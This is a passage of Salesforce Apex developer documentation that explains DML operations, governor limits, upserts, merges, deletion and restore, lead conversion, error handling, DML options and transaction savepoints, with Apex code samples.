for(Contact badCon : conList) { if (badCon.Department = 'Finance') { badCon.Description__c = 'New description'; } // Not a good practice since governor limits might be hit. update badCon; }

This is a modified version of the previous example that doesnt hit the governor limit. It bulkifies DML operations by calling update on a list of contacts. This counts as one DML statement, which is far below the limit of 150.
// List to hold the new contacts to update. List<Contact> updatedList = new List<Contact>(); for(Contact con : conList) { if (con.Department = 'Finance') { con.Description__c = 'New description'; // Add updated contact sObject to the list. updatedList.add(con); } } // Call update on the list of contacts. // This results in one DML call for the entire list. update updatedList;

The other governor limit that affects DML operations is the total number of 10,000 rows that can be processed by DML operations in a single transaction. All rows processed by all DML calls in the same transaction count incrementally toward this limit. For example, if you insert 100 contacts and update 50 contacts in the same transaction, your total DML processed rows are 150 and you still have 9,850 rows left (10,000 - 150). System Context and Sharing Rules Most DML operations execute in system context, ignoring the current user's permissions, field-level security, organization-wide defaults, position in the role hierarchy, and sharing rules. The only exception is when a DML operation is called in a class defined with the with sharing keywords, the current user's sharing rules are taken into account. Note that if you execute DML operations within an anonymous block, they will execute using the current users object and field-level permissions.

DML Operations
Inserting and Updating Records
Using DML, you can insert new records and commit them to the database. Similarly, you can update the field values of existing records. This example shows how to insert three account records and update an existing account record. First, it creates three Account sObjects and adds them to a list. It then performs a bulk insertion by inserting the list of accounts using one insert statement.

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Next, it queries the second account record, updates the billing city, and calls the update statement to persist the change in the database.
Account[] accts = new List<Account>(); for(Integer i=0;i<3;i++) { Account a = new Account(Name='Acme' + i, BillingCity='San Francisco'); accts.add(a); } Account accountToUpdate; try { insert accts; // Update account Acme2. accountToUpdate = [SELECT BillingCity FROM Account WHERE Name='Acme2' AND BillingCity='San Francisco' LIMIT 1]; // Update the billing city. accountToUpdate.BillingCity = 'New York'; // Make the update call. update accountToUpdate; } catch(DmlException e) { System.debug('An unexpected error has occurred: ' + e.getMessage()); } // Verify that the billing city was updated to New York. Account afterUpdate = [SELECT BillingCity FROM Account WHERE Id=:accountToUpdate.Id]; System.assertEquals('New York', afterUpdate.BillingCity);

Inserting Related Records You can insert records related to existing records if a relationship has already been defined between the two objects, such as a lookup or master-detail relationship. A record is associated with a related record through a foreign key ID. You can only set this foreign key ID on the master record. For example, if inserting a new contact, you can specify the contact's related account record by setting the value of the AccountId field. This example shows how to add a contact to an account (the related record) by setting the AccountId field on the contact. Contact and Account are linked through a lookup relationship.
try { Account acct = new Account(Name='SFDC Account'); insert acct; // // // ID Once the account is inserted, the sObject will be populated with an ID. Get this ID. acctID = acct.ID;

// Add a contact to this account. Contact con = new Contact( FirstName='Joe', LastName='Smith', Phone='415.555.1212', AccountId=acctID); insert con; } catch(DmlException e) { System.debug('An unexpected error has occurred: ' + e.getMessage()); }

Updating Related Records Fields on related records can't be updated with the same call to the DML operation and require a separate DML call. For example, if inserting a new contact, you can specify the contact's related account record by setting the value of the AccountId

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field. However, you can't change the account's name without updating the account itself with a separate DML call. Similarly, when updating a contact, if you also want to update the contacts related account, you must make two DML calls. The following example updates a contact and its related account using two update statements.
try { // Query for the contact, which has been associated with an account. Contact queriedContact = [SELECT Account.Name FROM Contact WHERE FirstName = 'Joe' AND LastName='Smith' LIMIT 1]; // Update the contact's phone number queriedContact.Phone = '415.555.1213'; // Update the related account industry queriedContact.Account.Industry = 'Technology'; // Make two separate calls // 1. This call is to update the contact's phone. update c; // 2. This call is to update the related account's Industry field. update c.Account; } catch(Exception e) { System.debug('An unexpected error has occurred: ' + e.getMessage()); }

Creating Parent and Child Records in a Single Statement Using Foreign Keys You can use external ID fields as foreign keys to create parent and child records of different sObject types in a single step instead of creating the parent record first, querying its ID, and then creating the child record. To do this: Create the child sObject and populate its required fields, and optionally other fields. Create the parent reference sObject used only for setting the parent foreign key reference on the child sObject. This sObject has only the external ID field defined and no other fields set. Set the foreign key field of the child sObject to the parent reference sObject you just created. Create another parent sObject to be passed to the insert statement. This sObject must have the required fields (and optionally other fields) set in addition to the external ID field. Call insert by passing it an array of sObjects to create. The parent sObject must precede the child sObject in the array, that is, the array index of the parent must be lower than the childs index.

You can create related records that are up to 10 levels deep. Also, the related records created in a single call must have different sObject types. For more information, see Creating Records for Different Object Types in the SOAP API Developer's Guide. The following example shows how to create an opportunity with a parent account using the same insert statement. The example creates an Opportunity sObject and populates some of its fields, then creates two Account objects. The first account is only for the foreign key relationship, and the second is for the account creation and has the account fields set. Both accounts have the external ID field, MyExtID__c, set. Next, the sample calls Database.insert by passing it an array of sObjects. The first element in the array is the parent sObject and the second is the opportunity sObject. The Database.insert statement creates the opportunity with its parent account in a single step. Finally, the sample checks the results and writes the IDs of the created records to the debug log, or the first error if record creation fails. This sample requires an external ID text field on Account called MyExtID.
public class ParentChildSample { public static void InsertParentChild() { Date dt = Date.today(); dt = dt.addDays(7); Opportunity newOpportunity = new Opportunity( Name='OpportunityWithAccountInsert', StageName='Prospecting', CloseDate=dt); // Create the parent reference.

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// Used only for foreign key reference // and doesn't contain any other fields. Account accountReference = new Account( MyExtID__c='SAP111111'); newOpportunity.Account = accountReference; // Create the Account object to insert. // Same as above but has Name field. // Used for the insert. Account parentAccount = new Account( Name='Hallie', MyExtID__c='SAP111111'); // Create the account and the opportunity. Database.SaveResult[] results = Database.insert(new SObject[] { parentAccount, newOpportunity }); // Check results. for (Integer i = 0; i < results.size(); i++) { if (results[i].isSuccess()) { System.debug('Successfully created ID: ' + results[i].getId()); } else { System.debug('Error: could not create sobject ' + 'for array element ' + i + '.'); System.debug(' The error reported was: ' + results[i].getErrors()[0].getMessage() + '\n'); } } } }

Upserting Records
Using the upsert operation, you can either insert or update an existing record in one call. To determine whether a record already exists, the upsert statement or Database method uses the records ID as the key to match records, or the custom external ID field value, if specified. If the key is not matched, then a new object record is created. If the key is matched once, then the existing object record is updated. If the key is matched multiple times, then an error is generated and the object record is neither inserted or updated. Note: Custom field matching is case-insensitive only if the custom field has the Unique and Treat "ABC" and "abc" as duplicate values (case insensitive) attributes selected as part of the field definition. If this is the case, ABC123 is matched with abc123. For more information, see Creating Custom Fields in the Salesforce Help. Examples The following example updates the city name for all existing accounts located in the city formerly known as Bombay, and also inserts a new account located in San Francisco:
Account[] acctsList = [SELECT Id, Name, BillingCity FROM Account WHERE BillingCity = 'Bombay']; for (Account a : acctsList) { a.BillingCity = 'Mumbai'; } Account newAcct = new Account(Name = 'Acme', BillingCity = 'San Francisco'); acctsList.add(newAcct); try { upsert acctsList; } catch (DmlException e) { // Process exception here }

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Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 408.

This next example uses the Database.upsert method to upsert a collection of leads that are passed in. This example allows for partial processing of records, that is, in case some records fail processing, the remaining records are still inserted or updated. It iterates through the results and adds a new task to each record that was processed successfully. The task sObjects are saved in a list, which is then bulk inserted. This example is followed by a test class that contains a test method for testing the example.
/* This class demonstrates and tests the use of the * partial processing DML operations */ public class DmlSamples { /* This method accepts a collection of lead records and creates a task for the owner(s) of any leads that were created as new, that is, not updated as a result of the upsert operation */ public static List<Database.upsertResult> upsertLeads(List<Lead> leads) /* Perform the upsert. In this case the unique identifier for the insert or update decision is the Salesforce record ID. If the record ID is null the row will be inserted, otherwise an update will be attempted. */ List<Database.upsertResult> uResults = Database.upsert(leads,false); /* This is the list for new tasks that will be inserted when new leads are created. */ List<Task> tasks = new List<Task>(); for(Database.upsertResult result:uResults) { if (result.isSuccess() && result.isCreated()) tasks.add(new Task(Subject = 'Follow-up', WhoId = result.getId())); } /* If there are tasks to be inserted, insert them */ Database.insert(tasks); return uResults; } } @isTest private class DmlSamplesTest { public static testMethod void testUpsertLeads() { /* We only need to test the insert side of upsert */ List<Lead> leads = new List<Lead>(); /* Create a set of leads for testing */ for(Integer i = 0;i < 100; i++) { leads.add(new Lead(LastName = 'testLead', Company = 'testCompany')); } /* Switch to the runtime limit context */ Test.startTest(); /* Exercise the method */ List<Database.upsertResult> results = DmlSamples.upsertLeads(leads); /* Switch back to the test context for limits */ Test.stopTest(); /* ID set for asserting the tasks were created as expected */ Set<Id> ids = new Set<Id>(); /* Iterate over the results, asserting success and adding the new ID to the set for use in the comprehensive assertion phase below. */ for(Database.upsertResult result:results) {

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System.assert(result.isSuccess()); ids.add(result.getId()); } /* Assert that exactly one task exists for each lead that was inserted. */ for(Lead l:[SELECT Id, (SELECT Subject FROM Tasks) FROM Lead WHERE Id IN :ids]) { System.assertEquals(1,l.tasks.size()); } } }

Use of upsert with an external ID can reduce the number of DML statements in your code, and help you to avoid hitting governor limits (see Understanding Execution Governors and Limits). This next example uses upsert and an external ID field Line_Item_Id__c on the Asset object to maintain a one-to-one relationship between an asset and an opportunity line item. Note: Before running this sample, create a custom text field on the Asset object named Line_Item_Id__c and mark it as an external ID. For information on custom fields, see the Salesforce online help.

public void upsertExample() { Opportunity opp = [SELECT Id, Name, AccountId, (SELECT Id, PricebookEntry.Product2Id, PricebookEntry.Name FROM OpportunityLineItems) FROM Opportunity WHERE HasOpportunityLineItem = true LIMIT 1]; Asset[] assets = new Asset[]{}; // Create an asset for each line item on the opportunity for (OpportunityLineItem lineItem:opp.OpportunityLineItems) { //This code populates the line item Id, AccountId, and Product2Id for each asset Asset asset = new Asset(Name = lineItem.PricebookEntry.Name, Line_Item_ID__c = lineItem.Id, AccountId = opp.AccountId, Product2Id = lineItem.PricebookEntry.Product2Id); assets.add(asset); } try { upsert assets Line_Item_ID__c; // // // // This line upserts the assets list with the Line_Item_Id__c field specified as the Asset field that should be used for matching the record that should be upserted.

} catch (DmlException e) { System.debug(e.getMessage()); } }

Merging Records
When you have duplicate lead, contact, or account records in the database, cleaning up your data and consolidating the records might be a good idea. You can merge up to three records of the same sObject type. The merge operation merges up to three records into one of the records, deletes the others, and reparents any related records. Example The following shows how to merge an existing Account record into a master account. The account to merge has a related contact, which is moved to the master account record after the merge operation. Also, after merging, the merge record is deleted and only one record remains in the database. This examples starts by creating a list of two accounts and inserts the

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list. Then it executes queries to get the new account records from the database, and adds a contact to the account to be merged. Next, it merges the two accounts. Finally, it verifies that the contact has been moved to the master account and the second account has been deleted.
// Insert new accounts List<Account> ls = new List<Account>{ new Account(name='Acme Inc.'), new Account(name='Acme') }; insert ls; // Queries to get the inserted accounts Account masterAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme Inc.' LIMIT 1]; Account mergeAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1]; // Add a contact to the account to be merged Contact c = new Contact(FirstName='Joe',LastName='Merged'); c.AccountId = mergeAcct.Id; insert c; try { merge masterAcct mergeAcct; } catch (DmlException e) { // Process exception System.debug('An unexpected error has occurred: ' + e.getMessage()); } // Once the account is merged with the master account, // the related contact should be moved to the master record. masterAcct = [SELECT Id, Name, (SELECT FirstName,LastName From Contacts) FROM Account WHERE Name = 'Acme Inc.' LIMIT 1]; System.assert(masterAcct.getSObjects('Contacts').size() > 0); System.assertEquals('Joe', masterAcct.getSObjects('Contacts')[0].get('FirstName')); System.assertEquals('Merged', masterAcct.getSObjects('Contacts')[0].get('LastName')); // Verify that the merge record got deleted Account[] result = [SELECT Id, Name FROM Account WHERE Id=:mergeAcct.Id]; System.assertEquals(0, result.size());

This second example is similar to the previous except that it uses the Database.merge method (instead of the merge statement). The last argument of Database.merge is set to false to have any errors encountered in this operation returned in the merge result instead of getting exceptions. The example merges two accounts into the master account and retrieves the returned results. The example creates a master account and two duplicates, one of which has a child contact. It verifies that after the merge the contact is moved to the master account.
// Create master account Account master = new Account(Name='Account1'); insert master; // Create duplicate accounts Account[] duplicates = new Account[]{ // Duplicate account new Account(Name='Account1, Inc.'), // Second duplicate account new Account(Name='Account 1') }; insert duplicates; // Create child contact and associate it with first account Contact c = new Contact(firstname='Joe',lastname='Smith', accountId=duplicates[0].Id); insert c; // Merge accounts into master Database.MergeResult[] results = Database.merge(master, duplicates, false); for(Database.MergeResult res : results) {

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if (res.isSuccess()) { // Get the master ID from the result and validate it System.debug('Master record ID: ' + res.getId()); System.assertEquals(master.Id, res.getId()); // Get the IDs of the merged records and display them List<Id> mergedIds = res.getMergedRecordIds(); System.debug('IDs of merged records: ' + mergedIds); // Get the ID of the reparented record and // validate that this the contact ID. System.debug('Reparented record ID: ' + res.getUpdatedRelatedIds()); System.assertEquals(c.Id, res.getUpdatedRelatedIds()[0]); } else { for(Database.Error err : res.getErrors()) { // Write each error to the debug output System.debug(err.getMessage()); } } }

Merge Considerations When merging sObject records, consider the following rules and guidelines: Only leads, contacts, and accounts can be merged. See sObjects That Dont Support DML Operations on page 122. You can pass a master record and up to two additional sObject records to a single merge method. Using the Apex merge operation, field values on the master record always supersede the corresponding field values on the records to be merged. To preserve a merged record field value, simply set this field value on the master sObject before performing the merge. External ID fields cant be used with merge.

For more information on merging leads, contacts and accounts, see the Salesforce online help.

Deleting Records
After you persist records in the database, you can delete those records using the delete operation. Deleted records arent deleted permanently from Force.com, but they are placed in the Recycle Bin for 15 days from where they can be restored. Restoring deleted records is covered in a later section. Example The following example deletes all accounts that are named 'DotCom':
Account[] doomedAccts = [SELECT Id, Name FROM Account WHERE Name = 'DotCom']; try { delete doomedAccts; } catch (DmlException e) { // Process exception here }

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 408.

Referential Integrity When Deleting and Restoring Records The delete operation supports cascading deletions. If you delete a parent object, you delete its children automatically, as long as each child record can be deleted.

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For example, if you delete a case record, Apex automatically deletes any CaseComment, CaseHistory, and CaseSolution records associated with that case. However, if a particular child record is not deletable or is currently being used, then the delete operation on the parent case record fails. The undelete operation restores the record associations for the following types of relationships: Parent accounts (as specified in the Parent Account field on an account) Parent cases (as specified in the Parent Case field on a case) Master solutions for translated solutions (as specified in the Master Solution field on a solution) Managers of contacts (as specified in the Reports To field on a contact) Products related to assets (as specified in the Product field on an asset) Opportunities related to quotes (as specified in the Opportunity field on a quote) All custom lookup relationships Relationship group members on accounts and relationship groups, with some exceptions Tags An article's categories, publication state, and assignments Note: Salesforce only restores lookup relationships that have not been replaced. For example, if an asset is related to a different product prior to the original product record being undeleted, that asset-product relationship is not restored.

Restoring Deleted Records

After you have deleted records, the records are placed in the Recycle Bin for 15 days, after which they are permanently deleted. While the records are still in the Recycle Bin, you can restore them using the undelete operation. This is useful, for example, if you accidentally deleted some records that you want to keep. Example The following example undeletes an account named 'Trump'. The ALL ROWS keyword queries all rows for both top level and aggregate relationships, including deleted records and archived activities.
Account a = new Account(Name='Trump'); insert(a); insert(new Contact(LastName='Carter',AccountId=a.Id)); delete a; Account[] savedAccts = [SELECT Id, Name FROM Account WHERE Name = 'Trump' ALL ROWS]; try { undelete savedAccts; } catch (DmlException e) { // Process exception here }

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 408.

Undelete Considerations Note the following when using the undelete statement. You can undelete records that were deleted as the result of a merge, but the child objects will have been reparented, which cannot be undone. Use the ALL ROWS parameters with a SOQL query to identify deleted records, including records deleted as a result of a merge.

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See Referential Integrity When Deleting and Restoring Records.

See Also:
Querying All Records with a SOQL Statement

Converting Leads
The convertLead DML operation converts a lead into an account and contact, as well as (optionally) an opportunity. convertLead is available only as a method on the Database class; it is not available as a DML statement. Converting leads involves the following basic steps: 1. Your application determines the IDs of any lead(s) to be converted. 2. Optionally, your application determines the IDs of any account(s) into which to merge the lead. Your application can use SOQL to search for accounts that match the lead name, as in the following example:
SELECT Id, Name FROM Account WHERE Name='CompanyNameOfLeadBeingMerged'

3. Optionally, your application determines the IDs of the contact or contacts into which to merge the lead. The application can use SOQL to search for contacts that match the lead contact name, as in the following example:
SELECT Id, Name FROM Contact WHERE FirstName='FirstName' AND LastName='LastName' AND AccountId = '001...'

4. Optionally, the application determines whether opportunities should be created from the leads. 5. The application queries the LeadSource table to obtain all of the possible converted status options (SELECT ... FROM LeadStatus WHERE IsConverted='1'), and then selects a value for the converted status. 6. The application calls convertLead. 7. The application iterates through the returned result or results and examines each LeadConvertResult object to determine whether conversion succeeded for each lead. 8. Optionally, when converting leads owned by a queue, the owner must be specified. This is because accounts and contacts cannot be owned by a queue. Even if you are specifying an existing account or contact, you must still specify an owner. Example This example shows how to use the Database.convertLead method to convert a lead. It inserts a new lead, creates a LeadConvert object and sets its status to converted, then passes it to the Database.convertLead method. Finally, it verifies that the conversion was successful.
Lead myLead = new Lead(LastName = 'Fry', Company='Fry And Sons'); insert myLead; Database.LeadConvert lc = new database.LeadConvert(); lc.setLeadId(myLead.id); LeadStatus convertStatus = [SELECT Id, MasterLabel FROM LeadStatus WHERE IsConverted=true LIMIT 1]; lc.setConvertedStatus(convertStatus.MasterLabel); Database.LeadConvertResult lcr = Database.convertLead(lc); System.assert(lcr.isSuccess());

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Convert Leads Considerations Field mappings: The system automatically maps standard lead fields to standard account, contact, and opportunity fields. For custom lead fields, your Salesforce administrator can specify how they map to custom account, contact, and opportunity fields. For more information about field mappings, see the Salesforce online help. Merged fields: If data is merged into existing account and contact objects, only empty fields in the target object are overwrittenexisting data (including IDs) are not overwritten. The only exception is if you specify setOverwriteLeadSource on the LeadConvert object to true, in which case the LeadSource field in the target contact object is overwritten with the contents of the LeadSource field in the source LeadConvert object. Record types: If the organization uses record types, the default record type of the new owner is assigned to records created during lead conversion. The default record type of the user converting the lead determines the lead source values available during conversion. If the desired lead source values are not available, add the values to the default record type of the user converting the lead. For more information about record types, see the Salesforce online help. Picklist values: The system assigns the default picklist values for the account, contact, and opportunity when mapping any standard lead picklist fields that are blank. If your organization uses record types, blank values are replaced with the default picklist values of the new record owner. Automatic feed subscriptions: When you convert a lead into a new account, contact, and opportunity, the lead owner is unsubscribed from the lead account. The lead owner, the owner of the generated records, and users that were subscribed to the lead arent automatically subscribed to the generated records, unless they have automatic subscriptions enabled in their Chatter feed settings. They must have automatic subscriptions enabled to see changes to the account, contact, and opportunity records in their news feed. To subscribe to records they create, users must enable the Automatically follow records that I create option in their personal settings. A user can subscribe to a record so that changes to the record display in the news feed on the user's home page. This is a useful way to stay up-to-date with changes to records in Salesforce.

DML Exceptions and Error Handling

Exception Handling
DML statements return run-time exceptions if something went wrong in the database during the execution of the DML operations. You can handle the exceptions in your code by wrapping your DML statements within try-catch blocks. The following example includes the insert DML statement inside a try-catch block.
Account a = new Account(Name='Acme'); try { insert a; } catch(DmlException e) { // Process exception here }

Database Class Method Result Objects

Database class methods return the results of the data operation. These result objects contain useful information about the data operation for each record, such as whether the operation was successful or not, and any error information. Each type of operation returns a specific result object type, as outlined below. Operation insert, update upsert merge delete Result Class SaveResult Class UpsertResult Class MergeResult Class DeleteResult Class

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Operation undelete convertLead emptyRecycleBin

Result Class UndeleteResult Class LeadConvertResult Class EmptyRecycleBinResult Class

Returned Database Errors

While DML statements always return exceptions when an operation fails for one of the records being processed and the operation is rolled back for all records, Database class methods can either do so or allow partial success for record processing. In the latter case of partial processing, Database class methods dont throw exceptions. Instead, they return a list of errors for any errors that occurred on failed records. The errors provide details about the failures and are contained in the result of the Database class method. For example, a SaveResult object is returned for insert and update operations. Like all returned results, SaveResult contains a method called getErrors that returns a list of Database.Error objects, representing the errors encountered, if any. Example This example shows how to get the errors returned by a Database.insert operation. It inserts two accounts, one of which doesnt have the required Name field, and sets the second parameter to false: Database.insert(accts, false);. This sets the partial processing option. Next, the example checks if the call had any failures through if (!sr.isSuccess()) and then iterates through the errors, writing error information to the debug log.
// Create two accounts, one of which is missing a required field Account[] accts = new List<Account>{ new Account(Name='Account1'), new Account()}; Database.SaveResult[] srList = Database.insert(accts, false); // Iterate through each returned result for (Database.SaveResult sr : srList) { if (!sr.isSuccess()) { // Operation failed, so get all errors for(Database.Error err : sr.getErrors()) { System.debug('The following error has occurred.'); System.debug(err.getStatusCode() + ': ' + err.getMessage()); System.debug('Fields that affected this error: ' + err.getFields()); } } }

More About DML

Setting DML Options
You can specify DML options for insert and update operations by setting the desired options in the Database.DMLOptions object. You can set Database.DMLOptions for the operation by calling the setOptions method on the sObject, or by passing it as a parameter to the Database.insert and Database.update methods. Using DML options, you can specify: The truncation behavior of fields. Assignment rule information. Whether automatic emails are sent.

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The user locale for labels. Whether the operation allows for partial success.

The Database.DMLOptions class has the following properties:

allowFieldTruncation Property assignmentRuleHeader Property emailHeader Property localeOptions Property optAllOrNone Property

DMLOptions is only available for Apex saved against API versions 15.0 and higher. DMLOptions settings take effect only for record operations performed using Apex DML and not through the Salesforce user interface.
allowFieldTruncation Property

The allowFieldTruncation property specifies the truncation behavior of strings. In Apex saved against API versions previous to 15.0, if you specify a value for a string and that value is too large, the value is truncated. For API version 15.0 and later, if a value is specified that is too large, the operation fails and an error message is returned. The allowFieldTruncation property allows you to specify that the previous behavior, truncation, be used instead of the new behavior in Apex saved against API versions 15.0 and later. The allowFieldTruncation property takes a Boolean value. If true, the property truncates String values that are too long, which is the behavior in API versions 14.0 and earlier. For example:
Database.DMLOptions dml = new Database.DMLOptions(); dml.allowFieldTruncation = true;

assignmentRuleHeader Property

The assignmentRuleHeader property specifies the assignment rule to be used when creating a case or lead. Note: The Database.DMLOptions object supports assignment rules for cases and leads, but not for accounts or territory management. Using the assignmentRuleHeader property, you can set these options:
assignmentRuleID: The ID of an assignment rule for the case or lead. The assignment rule can be active or inactive. The ID can be retrieved by querying the AssignmentRule sObject. If specified, do not specify useDefaultRule. If the

value is not in the correct ID format (15-character or 18-character Salesforce ID), the call fails and an exception is returned. Note: For the Case sObject, the assignmentRuleID DML option can be set only from the API and is ignored when set from Apex. For example, you can set the assignmentRuleID for an active or inactive rule from the executeanonymous() API call, but not from the Developer Console. This doesnt apply to leadsthe assignmentRuleID DML option can be set for leads from both Apex and the API.
useDefaultRule: Indicates whether the default (active) assignment rule will be used for a case or lead. If specified, do not specify an assignmentRuleId.

The following example uses the useDefaultRule option:

Database.DMLOptions dmo = new Database.DMLOptions(); dmo.assignmentRuleHeader.useDefaultRule= true; Lead l = new Lead(company='ABC', lastname='Smith'); l.setOptions(dmo); insert l;

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The following example uses the assignmentRuleID option:

Database.DMLOptions dmo = new Database.DMLOptions(); dmo.assignmentRuleHeader.assignmentRuleId= '01QD0000000EqAn'; Lead l = new Lead(company='ABC', lastname='Smith'); l.setOptions(dmo); insert l;

emailHeader Property

The Salesforce user interface allows you to specify whether or not to send an email when the following events occur: Creation of a new case or task Creation of a case comment Conversion of a case email to a contact New user email notification Lead queue email notification Password reset

In Apex saved against API version 15.0 or later, the Database.DMLOptions emailHeader property enables you to specify additional information regarding the email that gets sent when one of the events occurs because of Apex DML code execution. Using the emailHeader property, you can set these options.
triggerAutoResponseEmail: Indicates whether to trigger auto-response rules (true) or not (false), for leads and

cases. This email can be automatically triggered by a number of events, for example when creating a case or resetting a user password. If this value is set to true, when a case is created, if there is an email address for the contact specified in ContactID, the email is sent to that address. If not, the email is sent to the address specified in SuppliedEmail. triggerOtherEmail: Indicates whether to trigger email outside the organization (true) or not (false). This email can be automatically triggered by creating, editing, or deleting a contact for a case. triggerUserEmail: Indicates whether to trigger email that is sent to users in the organization (true) or not (false). This email can be automatically triggered by a number of events; resetting a password, creating a new user, adding comments to a case, or creating or modifying a task.

Even though auto-sent emails can be triggered by actions in the Salesforce user interface, the DMLOptions settings for emailHeader take effect only for DML operations carried out in Apex code. In the following example, the triggerAutoResponseEmail option is specified:
Account a = new Account(name='Acme Plumbing'); insert a; Contact c = new Contact(email='[email protected]', firstname='Joe',lastname='Plumber', accountid=a.id); insert c; Database.DMLOptions dlo = new Database.DMLOptions(); dlo.EmailHeader.triggerAutoResponseEmail = true; Case ca = new Case(subject='Plumbing Problems', contactid=c.id); database.insert(ca, dlo);

Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which IsGroupEvent is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event. Note the following behaviors for group event email sent through Apex: Sending a group event invitation to a user respects the triggerUserEmail option 117

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Sending a group event invitation to a lead or contact respects the triggerOtherEmail option Email sent when updating or deleting a group event also respects the triggerUserEmail and triggerOtherEmail options, as appropriate

localeOptions Property

The localeOptions property specifies the language of any labels that are returned by Apex. The value must be a valid user locale (language and country), such as de_DE or en_GB. The value is a String, 2-5 characters long. The first two characters are always an ISO language code, for example 'fr' or 'en.' If the value is further qualified by a country, then the string also has an underscore (_) and another ISO country code, for example 'US' or 'UK.' For example, the string for the United States is 'en_US', and the string for French Canadian is 'fr_CA.' For a list of the languages that Salesforce supports, see What languages does Salesforce support? in the Salesforce online help.
optAllOrNone Property

The optAllOrNone property specifies whether the operation allows for partial success. If optAllOrNone is set to true, all changes are rolled back if any record causes errors. The default for this property is false and successfully processed records are committed while records with errors aren't. This property is available in Apex saved against Salesforce.com API version 20.0 and later.

Transaction Control
All requests are delimited by the trigger, class method, Web Service, Visualforce page or anonymous block that executes the Apex code. If the entire request completes successfully, all changes are committed to the database. For example, suppose a Visualforce page called an Apex controller, which in turn called an additional Apex class. Only when all the Apex code has finished running and the Visualforce page has finished running, are the changes committed to the database. If the request does not complete successfully, all database changes are rolled back. Sometimes during the processing of records, your business rules require that partial work (already executed DML statements) be rolled back so that the processing can continue in another direction. Apex gives you the ability to generate a savepoint, that is, a point in the request that specifies the state of the database at that time. Any DML statement that occurs after the savepoint can be discarded, and the database can be restored to the same condition it was in at the time you generated the savepoint. The following limitations apply to generating savepoint variables and rolling back the database: If you set more than one savepoint, then roll back to a savepoint that is not the last savepoint you generated, the later savepoint variables become invalid. For example, if you generated savepoint SP1 first, savepoint SP2 after that, and then you rolled back to SP1, the variable SP2 would no longer be valid. You will receive a runtime error if you try to use it. References to savepoints cannot cross trigger invocations, because each trigger invocation is a new execution context. If you declare a savepoint as a static variable then try to use it across trigger contexts you will receive a runtime error. Each savepoint you set counts against the governor limit for DML statements. Static variables are not reverted during a rollback. If you try to run the trigger again, the static variables retain the values from the first run. Each rollback counts against the governor limit for DML statements. You will receive a runtime error if you try to rollback the database additional times. The ID on an sObject inserted after setting a savepoint is not cleared after a rollback. Create new a sObject to insert after a rollback. Attempting to insert the sObject using the variable created before the rollback fails because the sObject variable has an ID. Updating or upserting the sObject using the same variable also fails because the sObject is not in the database and, thus, cannot be updated.

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The following is an example using the setSavepoint and rollback Database methods.
Account a = new Account(Name = 'xxx'); insert a; System.assertEquals(null, [SELECT AccountNumber FROM Account WHERE Id = :a.Id]. AccountNumber); // Create a savepoint while AccountNumber is null Savepoint sp = Database.setSavepoint(); // Change the account number a.AccountNumber = '123'; update a; System.assertEquals('123', [SELECT AccountNumber FROM Account WHERE Id = :a.Id]. AccountNumber); // Rollback to the previous null value Database.rollback(sp); System.assertEquals(null, [SELECT AccountNumber FROM Account WHERE Id = :a.Id]. AccountNumber);

sObjects That Cannot Be Used Together in DML Operations

DML operations on certain sObjects cant be mixed with other sObjects in the same transaction. This is because some sObjects affect the users access to records in the organization. These types of sObjects must be inserted or updated in a different transaction to prevent operations from happening with incorrect access level permissions. For example, you cant update an account and a user role in a single transaction. However, there are no restrictions on delete DML operations. The following sObjects cant be used with other sObjects when performing DML operations in the same transaction: FieldPermissions Group You can only insert and update a group in a transaction with other sObjects. Other DML operations are not allowed. GroupMember You can only insert and update a group member in a transaction with other sObjects in Apex code saved using Salesforce.com API version 14.0 and earlier. ObjectPermissions PermissionSet PermissionSetAssignment QueueSObject SetupEntityAccess User You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce.com API version 14.0 and earlier. You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce.com API version 15.0 and later if UserRoleId is specified as null. You can update a user in a transaction with other sObjects in Apex code saved using Salesforce.com API version 14.0 and earlier You can update a user in a transaction with other sObjects in Apex code saved using Salesforce.com API version 15.0 and later if the following fields are not also updated: UserRoleId IsActive

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ForecastEnabled IsPortalEnabled Username ProfileId

UserRole UserTerritory Territory Custom settings in Apex code saved using Salesforce.com API version 17.0 and earlier.

If you are using a Visualforce page with a custom controller, you can only perform DML operations on a single type of sObject within a single request or action. However, you can perform DML operations on different types of sObjects in subsequent requests, for example, you can create an account with a save button, then create a user with a submit button. You can perform DML operations on more than one type of sObject in a single class using the following process: 1. Create a method that performs a DML operation on one type of sObject. 2. Create a second method that uses the future annotation to manipulate a second sObject type. This process is demonstrated in the example in the next section. Example: Using a Future Method to Perform Mixed DML Operations This example shows how to perform mixed DML operations by using a future method to perform a DML operation on the User object.
public class MixedDMLFuture { public static void useFutureMethod() { // First DML operation Account a = new Account(Name='Acme'); insert a; // This next operation (insert a user with a role) // can't be mixed with the previous insert unless // it is within a future method. // Call future method to insert a user with a role. Util.insertUserWithRole( '[email protected]', 'mruiz', '[email protected]', 'Ruiz'); } } public class Util { @future public static void insertUserWithRole( String uname, String al, String em, String lname) { Profile p = [SELECT Id FROM Profile WHERE Name='Standard User']; UserRole r = [SELECT Id FROM UserRole WHERE Name='COO']; // Create new user with a non-null user role ID User u = new User(alias = al, email=em, emailencodingkey='UTF-8', lastname=lname, languagelocalekey='en_US', localesidkey='en_US', profileid = p.Id, userroleid = r.Id, timezonesidkey='America/Los_Angeles', username=uname); insert u; } }

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Mixed DML Operations in Test Methods Test methods allow for performing mixed DML operations between the sObjects listed in sObjects That Cannot Be Used Together in DML Operations and other sObjects if the code that performs the DML operations is enclosed within System.runAs method blocks. This enables you, for example, to create a user with a role and other sObjects in the same test. Example: Mixed DML Operations in System.runAs Blocks This example shows how to enclose mixed DML operations within System.runAs blocks to avoid the mixed DML error. The System.runAs block runs in the current users context. It creates a test user with a role and a test account, which is a mixed DML operation.
